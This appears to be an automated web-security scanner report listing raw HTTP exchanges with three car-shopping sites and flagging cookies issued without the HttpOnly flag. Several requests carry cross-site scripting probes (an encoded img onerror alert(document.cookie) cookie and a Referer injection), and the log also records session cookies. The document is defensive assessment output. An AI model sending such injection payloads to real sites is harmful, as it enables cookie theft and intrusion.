GET /content/research/kbb/index.cfm/action/selectyear/valuetype/TI HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /content/research/top10/index.cfm/action/top10/vehicleclass/all/listtype/1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The following cookie was issued by the application and does not have the HttpOnly flag set:
ID=4%3BABTL;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /content/shared/modProfile/index.cfm?id=4;ABTL&action=handler HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /new-car-price-quotes.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /new-cars.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /used-cars.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /x22 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /x22 HTTP/1.1 Host: www.automotive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Connection: close Date: Mon, 24 Jan 2011 16:04:18 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Location: http://www.automotive.com/x22/index.html Set-Cookie: ASP.NET_SessionId=ru5vzmel1nvlrbjo404j0i55; path=/; HttpOnly Set-Cookie: UserPuid=2325714041713319967; domain=automotive.com; expires=Mon, 24-Jan-2061 16:04:18 GMT; path=/ Cache-Control: private Content-Length: 0
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ajax/backButtonFix.jsp HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BIRF_Audit=true; JSESSIONID=9FDC9D8306C6C65BA049C7655627ABAE; ATC_USER_ZIP=; ATC_PID=-1761786222|959219900373039673; v1st=BF3F7217996B123A; ATC_ID=173.193.214.243.1295884767492259; BIGipServerwww=1619582986.61475.0000; mbox=check#true#1295922044|session#1295921983404-727382#1295923844|PC#1295921983404-727382.17#1297131585;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:16:18 GMT Server: Apache Content-Length: 34 P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=ISO-8859-1 Set-Cookie: BIGipServerAT-Production_hhtp=3526518282.61475.0000; path=/
The following cookie was issued by the application and does not have the HttpOnly flag set:
BIGipServerwww=1619582986.61475.0000; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /cms/img/homepage/autoMercado_logo.gif HTTP/1.1 Host: www.autotrader.com Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: v1st=BF3F7217996B123A; ATC_ID=173.193.214.243.1295884767492259; JSESSIONID=9FDC9D8306C6C65BA049C7655627ABAE; ATC_USER_ZIP=
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:19:41 GMT Server: Apache Last-Modified: Wed, 08 Sep 2010 20:38:55 GMT Accept-Ranges: bytes Content-Length: 2439 Cache-Control: max-age=604800 Expires: Tue, 01 Feb 2011 02:19:41 GMT P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: image/gif Set-Cookie: BIGipServerwww=1619582986.61475.0000; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /fyc/index.jsp/x22 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v1st=BF3F7217996B123A; ATC_ID=173.193.214.243.1295884767492259; BIGipServerwww=1317593098.61475.0000;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 23:56:02 GMT Server: Apache Last-Modified: Tue, 02 Nov 2010 16:44:27 GMT Accept-Ranges: bytes Content-Length: 5848 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Connection: close Content-Type: text/html Set-Cookie: BIGipServerAT-Production_hhtp=3476186634.61475.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Page Not Found - AutoTrader.com</title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /fyc/index.jsp/x22 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:04:27 GMT Server: Apache Set-Cookie: v1st=89BF6C3250E2E334; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295885067966444; path=/; expires=Sat, 03-Jan-15 16:04:27 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:44:27 GMT Accept-Ranges: bytes Content-Length: 5848 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Connection: close Content-Type: text/html Set-Cookie: BIGipServerwww=1351147530.61475.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Page Not Found - AutoTrader.com</title>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /hornav/trader/index.jsp/x22 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v1st=BF3F7217996B123A; ATC_ID=173.193.214.243.1295884767492259; BIGipServerwww=1317593098.61475.0000;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 23:56:08 GMT Server: Apache Last-Modified: Tue, 02 Nov 2010 16:44:27 GMT Accept-Ranges: bytes Content-Length: 5848 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Connection: close Content-Type: text/html Set-Cookie: BIGipServerAT-Production_hhtp=3778176522.61475.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Page Not Found - AutoTrader.com</title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hornav/trader/index.jsp/x22 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:04:28 GMT Server: Apache Set-Cookie: v1st=5789AE528FD93066; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295885068472993; path=/; expires=Sat, 03-Jan-15 16:04:28 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:44:27 GMT Accept-Ranges: bytes Content-Length: 5848 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Connection: close Content-Type: text/html Set-Cookie: BIGipServerwww=1552474122.61475.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Page Not Found - AutoTrader.com</title>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /inc/ad.html HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BIRF_Audit=true; JSESSIONID=9FDC9D8306C6C65BA049C7655627ABAE; ATC_USER_ZIP=; ATC_PID=-1761786222|959219900373039673; v1st=BF3F7217996B123A; ATC_ID=173.193.214.243.1295884767492259; BIGipServerwww=1619582986.61475.0000; mbox=check#true#1295922044|session#1295921983404-727382#1295923844|PC#1295921983404-727382.17#1297131585;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:15:53 GMT Server: Apache Last-Modified: Tue, 07 Dec 2010 12:42:24 GMT Accept-Ranges: bytes Content-Length: 1999 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Cache-Control: max-age=604800 Connection: close Content-Type: text/html Set-Cookie: BIGipServerAT-Production_hhtp=3140642314.61475.0000; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /no_cache/ac/trader_clicks_0001_nocount.asis? HTTP/1.1 Host: www.autotrader.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:27 GMT Server: Apache Set-Cookie: v1st=7569AE0D6B39E1B; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295884767490185; path=/; expires=Sat, 03-Jan-15 15:59:27 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:43:57 GMT Accept-Ranges: bytes Content-Length: 185 P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/plain Set-Cookie: BIGipServerwww=1737023498.61475.0000; path=/
Status: 200 OK Expires: Thu, 21 Feb 97 12:00:00 GMT Pragma: no-cache Cache-control: private Cache-control: no-cache Content-type: image/gif
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /no_cache/ac/trader_clicks_0002_nocount.asis? HTTP/1.1 Host: www.autotrader.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:27 GMT Server: Apache Set-Cookie: v1st=BF3F7217996B123A; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295884767492259; path=/; expires=Sat, 03-Jan-15 15:59:27 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:43:57 GMT Accept-Ranges: bytes Content-Length: 185 P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/plain Set-Cookie: BIGipServerwww=1317593098.61475.0000; path=/
Status: 200 OK Expires: Thu, 21 Feb 97 12:00:00 GMT Pragma: no-cache Cache-control: private Cache-control: no-cache Content-type: image/gif
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /no_cache/ac/trader_clicks_0005_nocount.asis? HTTP/1.1 Host: www.autotrader.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:27 GMT Server: Apache Set-Cookie: v1st=1AA3D7F874709C04; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295884767486770; path=/; expires=Sat, 03-Jan-15 15:59:27 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:43:57 GMT Accept-Ranges: bytes Content-Length: 185 P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/plain Set-Cookie: BIGipServerwww=1653137418.61475.0000; path=/
Status: 200 OK Expires: Thu, 21 Feb 97 12:00:00 GMT Pragma: no-cache Cache-control: private Cache-control: no-cache Content-type: image/gif
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /no_cache/ac/trader_clicks_0006_nocount.asis? HTTP/1.1 Host: www.autotrader.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:27 GMT Server: Apache Set-Cookie: v1st=4BE5B3481EBAD751; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295884767492827; path=/; expires=Sat, 03-Jan-15 15:59:27 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:43:57 GMT Accept-Ranges: bytes Content-Length: 185 P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/plain Set-Cookie: BIGipServerwww=2022236170.61475.0000; path=/
Status: 200 OK Expires: Thu, 21 Feb 97 12:00:00 GMT Pragma: no-cache Cache-control: private Cache-control: no-cache Content-type: image/gif
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /no_cache/ac/trader_clicks_0009_nocount.asis? HTTP/1.1 Host: www.autotrader.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:27 GMT Server: Apache Set-Cookie: v1st=DE05B78BAE6BA143; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295884767489238; path=/; expires=Sat, 03-Jan-15 15:59:27 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:43:57 GMT Accept-Ranges: bytes Content-Length: 185 P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/plain Set-Cookie: BIGipServerwww=2575884298.61475.0000; path=/
Status: 200 OK Expires: Thu, 21 Feb 97 12:00:00 GMT Pragma: no-cache Cache-control: private Cache-control: no-cache Content-type: image/gif
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /no_cache/ac/trader_clicks_0016_nocount.asis? HTTP/1.1 Host: www.autotrader.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:27 GMT Server: Apache Set-Cookie: v1st=F295814A75AF51AA; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295884767489157; path=/; expires=Sat, 03-Jan-15 15:59:27 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:43:57 GMT Accept-Ranges: bytes Content-Length: 185 P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/plain Set-Cookie: BIGipServerwww=1250484234.61475.0000; path=/
Status: 200 OK Expires: Thu, 21 Feb 97 12:00:00 GMT Pragma: no-cache Cache-control: private Cache-control: no-cache Content-type: image/gif
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /research/certified-cars/index.jsp/x22 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:04:25 GMT Server: Apache Set-Cookie: v1st=49F204915327FA62; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295885065453031; path=/; expires=Sat, 03-Jan-15 16:04:25 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:44:27 GMT Accept-Ranges: bytes Content-Length: 5848 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Connection: close Content-Type: text/html Set-Cookie: BIGipServerwww=1787355146.61475.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Page Not Found - AutoTrader.com</title>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /research/certified-cars/index.jsp/x22 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v1st=BF3F7217996B123A; ATC_ID=173.193.214.243.1295884767492259; BIGipServerwww=1317593098.61475.0000;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 23:55:24 GMT Server: Apache Last-Modified: Tue, 02 Nov 2010 16:44:27 GMT Accept-Ranges: bytes Content-Length: 5848 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Connection: close Content-Type: text/html Set-Cookie: BIGipServerAT-Production_hhtp=3056756234.61475.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Page Not Found - AutoTrader.com</title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /research/index.jsp/x22 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:04:26 GMT Server: Apache Set-Cookie: v1st=2D8D8CB669EE0E07; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295885066866955; path=/; expires=Sat, 03-Jan-15 16:04:26 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:44:27 GMT Accept-Ranges: bytes Content-Length: 5848 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Connection: close Content-Type: text/html Set-Cookie: BIGipServerwww=1971904522.61475.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Page Not Found - AutoTrader.com</title>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /research/index.jsp/x22 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v1st=BF3F7217996B123A; ATC_ID=173.193.214.243.1295884767492259; BIGipServerwww=1317593098.61475.0000;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 23:55:39 GMT Server: Apache Last-Modified: Tue, 02 Nov 2010 16:44:27 GMT Accept-Ranges: bytes Content-Length: 5848 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Connection: close Content-Type: text/html Set-Cookie: BIGipServerAT-Production_hhtp=3442632202.61475.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Page Not Found - AutoTrader.com</title>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /research/new-cars/index.jsp/x22 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: v1st=BF3F7217996B123A; ATC_ID=173.193.214.243.1295884767492259; BIGipServerwww=1317593098.61475.0000;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 23:55:49 GMT Server: Apache Last-Modified: Tue, 02 Nov 2010 16:44:27 GMT Accept-Ranges: bytes Content-Length: 5848 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Connection: close Content-Type: text/html Set-Cookie: BIGipServerAT-Production_hhtp=4113720842.61475.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Page Not Found - AutoTrader.com</title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /research/new-cars/index.jsp/x22 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
